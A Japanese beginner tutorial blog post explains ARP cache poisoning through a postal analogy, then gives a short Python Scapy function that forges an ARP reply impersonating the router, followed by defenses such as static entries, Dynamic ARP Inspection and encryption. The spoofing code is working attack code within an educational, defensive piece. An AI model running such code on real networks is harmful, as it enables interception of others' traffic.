こんにちは！ネットワークやセキュリティの世界へ足を踏み入れたばかりの皆さん、日々の学習お疲れ様です。インフラの裏側を覗いてみると、パケットという見えないデータたちが、まるで意思を持っているかのように猛スピードで飛び交っていますよね。
今回は、そんなネットワークの基礎を揺るがすスリリングな脅威、「ARPキャッシュポイズニング攻撃」のメカニズムについて、じっくりと紐解いていきたいと思います。
「なんだか名前が難しそう…」と思ったそこのあなた、大丈夫です！一歩ずつ、私たちの身近な世界に置き換えて優しく解説していきますので、安心してついてきてくださいね。
—
そもそもARPって何をしているの？（郵便配達の例え）
私たちが普段使っているパソコンやスマホは、ネットワーク上で通信をするために 192.168.1.10 のような「IPアドレス」を持っていますよね。でも、実はネットワーク機器（LANカードなど）が直接通信の宛先として見ているのは、IPアドレスではなく 「MACアドレス（物理アドレス）」 という固有の識別番号です。
ここで、現実世界の「郵便配達」を想像してみてください。
- IPアドレス ＝ 「東京都港区…の山田さん宛て」という宛先住所
- MACアドレス ＝ 山田さんが持っている「固有のマイナンバー」や「顔写真付きの身分証」のような、個別の識別ID
あなたが手紙を出すとき、住所だけでは郵便配達員さんも「実際の山田さんはどこにいるんだ？」と困ってしまいますよね。そこで、「この住所に住んでいる山田さんの身分証番号は何番ですか？」と周囲に大声で尋ねる仕組みが必要になります。
これが、ネットワークの世界における ARP（Address Resolution Protocol：エー・アール・ピー） の役割なんです。「192.168.1.10 のIPアドレスを使っている人、あなたのMACアドレスを教えて！」とネットワーク全体に呼びかける（ARPリクエスト）と、該当する機器が「はい、私のMACアドレスは AA:BB:CC:DD:EE:FF ですよ」と返事をする（ARPレスポンス）、というわけです。
—
ARPキャッシュの正体と、そこに潜む罠
ネットワークの機器たちは、一度調べた「IPアドレスとMACアドレスの組み合わせ」を、毎回いちいち聞き直すのは面倒なので、メモ用紙に書き留めておきます。このメモ帳のことを 「ARPキャッシュ（またはARPテーブル）」 と呼びます。
例えば、あなたのパソコンのメモ帳にはこんな風に記録されています。
- ゲートウェイ（ルーター）のIPアドレス：
192.168.1.1＝ MACアドレス：11:22:33:44:55:66
とても便利な仕組みなのですが、ここには致命的な設計上の弱点があります。それは、「後から送られてきた情報を、相手が本当に正しい人か確かめもせずに無条件で信じて書き換えてしまう」という性質です。
ここに悪意を持った攻撃者が現れたとき、悲劇が始まります。これが今回のテーマである 「ARPキャッシュポイズニング（ARPスプーフィング）」 です。
—
ARPキャッシュポイズニングのメカニズム
攻撃者は、あなたのパソコンやルーターに対して、こんな嘘のメッセージをこっそり送りつけます。
> 「さっきの 192.168.1.1（ルーター）だけどさ、ルーターのMACアドレスが変わったから、これからは俺のMACアドレス AA:AA:AA:BB:BB:BB に送ってくれよ！」
あなたのパソコンは、相手が本物のルーターかどうか疑うこともせず、「おっ、ルーターのMACアドレスが更新されたんだな」と素直に信じ込み、自分のARPキャッシュを書き換えてしまいます。
これが ARPキャッシュポイズニング（毒盛り攻撃） です。
結果として、あなたのパソコンから外部のインターネットへ向かうすべての通信は、一度すべて攻撃者のパソコンを経由するようになります。攻撃者は通信をこっそり覗き見したあと、何食わぬ顔で本物のルーターへと転送します。これが、サイバーセキュリティの世界で恐れられる 中間者攻撃（Man-in-the-Middle Attack: MitM） の完成です。
—
実践！攻撃の裏側を覗いてみよう（Pythonによるシミュレーション）
百聞は一見にしかず。セキュリティエンジニアとして、この攻撃がどのように行われるのか、Pythonの代表的なネットワーク操作ライブラリ Scapy を使ったコード例（概念的なサンプル）で確認してみましょう。
※注意：実際のネットワーク環境や他人の端末に対してこのスクリプトを実行することは、不正アクセス禁止法や刑法に抵触する違法行為となります。あくまで「仕組みを学ぶための教育目的」としてご覧ください。
from scapy.all import send, ARP
def poison_arp_cache(target_ip, fake_mac, router_ip):
"""
ターゲット（被害者）のARPキャッシュを偽装し、
ルーターへの通信を攻撃者経由にするための偽ARP応答パケットを作成・送信する関数
:param target_ip: 被害者のIPアドレス (例: 192.168.1.50)
:param fake_mac: 攻撃者のMACアドレス (例: AA:AA:AA:BB:BB:BB)
:param router_ip: 偽装したいルーターのIPアドレス (例: 192.168.1.1)
"""
print(f"[*] ARPポイズニングを開始します: {target_ip} へ偽の情報を送信中...")
# ARPレスポンスパケットを作成する
# op=2 は ARPリプライ（応答）を意味します
# 「router_ip のMACアドレスは fake_mac だよ」と嘘をつきます
arp_packet = ARP(
op=2,
pdst=target_ip, # 宛先（被害者のIP）
hwdst="ff:ff:ff:ff:ff:ff", # 宛先MAC（ブロードキャストまたは被害者のMAC）
psrc=router_ip, # 送信元IP（ここではルーターになりすます）
hwsrc=fake_mac # 送信元MAC（攻撃者のMACアドレスを指定）
)
# 嘘のパケットをネットワークに放つ（実務では定期的にループして送信し続けることが多いです）
send(arp_packet, verbose=False)
print("[*] 偽のARP応答パケットを送信しました。")
# --- 実行イメージの呼び出し ---
# target_ip = "192.168.1.50"
# fake_mac = "12:34:56:78:9A:BC"
# router_ip = "192.168.1.1"
# poison_arp_cache(target_ip, fake_mac, router_ip)このように、ARPプロトコル自体には「送信者が本当にその人であるか」を確認する認証の仕組み（ステートフルな検証や暗号署名）が備わっていないため、簡単に嘘の情報を信じ込ませてしまうのです。
—
どうやってこの脅威から身を守るの？（対策とゼロトラストの視点）
「じゃあ、LANケーブルを挿しているだけでいつの間にか盗聴されるなんて怖すぎる…」と思いましたか？安心してください。インフラエンジニアたちはしっかりと対策を講じています。
1. スタティック（静的）ARPエントリの設定
重要なサーバーやルーターのARPテーブルをあらかじめ手動で固定（ハードコード）し、動的に書き換わらないようにする方法です。小規模な環境では有効ですが、端末が増えると管理が大変になります。
2. スイッチ側のセキュリティ機能（DAI: Dynamic ARP Inspection）
ネットワークの要であるスイッチ（L2スイッチ）側に「正当なIPとMACの対応表（DHCPスヌーピングデータベースなど）」を持たせ、スイッチが怪しい（矛盾した）ARPパケットを検知したら自動で破棄する機能です。企業ネットワークでは必須の防御策となっています。
3. 通信の暗号化（HTTPSやSSHなどの活用）
万が一ARPキャッシュポイズニングによって通信を盗聴（中間者攻撃）されたとしても、中身のデータ自体がTLS等で強力に暗号化されていれば、攻撃者はパスワードや機密情報を読み取ることができません。「ネットワークの信頼を前提とせず、どこでも暗号化する」という、まさにゼロトラストの思想がここ活きてきます。
—
まとめ
今回は、ARPキャッシュポイズニング攻撃のメカニズムを、郵便配達や身近な例えを交えて解説しました。
- ARPは、IPアドレスからMACアドレスを調べるための便利な仕組み
- しかし、相手が本当のことを言っているかを検証する機能（認証）がない
- その脆弱性を突くことで、通信が乗っ取り（中間者攻撃）にあってしまう
ネットワークの基礎であるARPというプロトコルが持つ「素直すぎる性格」が、セキュリティの観点では大きな弱点になるという面白さ（そして怖さ）が伝わったでしょうか？
日々のインフラ構築やセキュリティ対策を行う際には、「目の前を流れるパケットは、本当に信用できるものだろうか？」という疑いの目を少しだけ持つことが、優秀なエンジニアへの第一歩になります。
それでは、また次回の技術解説でお会いしましょう！安全で快適なネットワークライフを！
コメント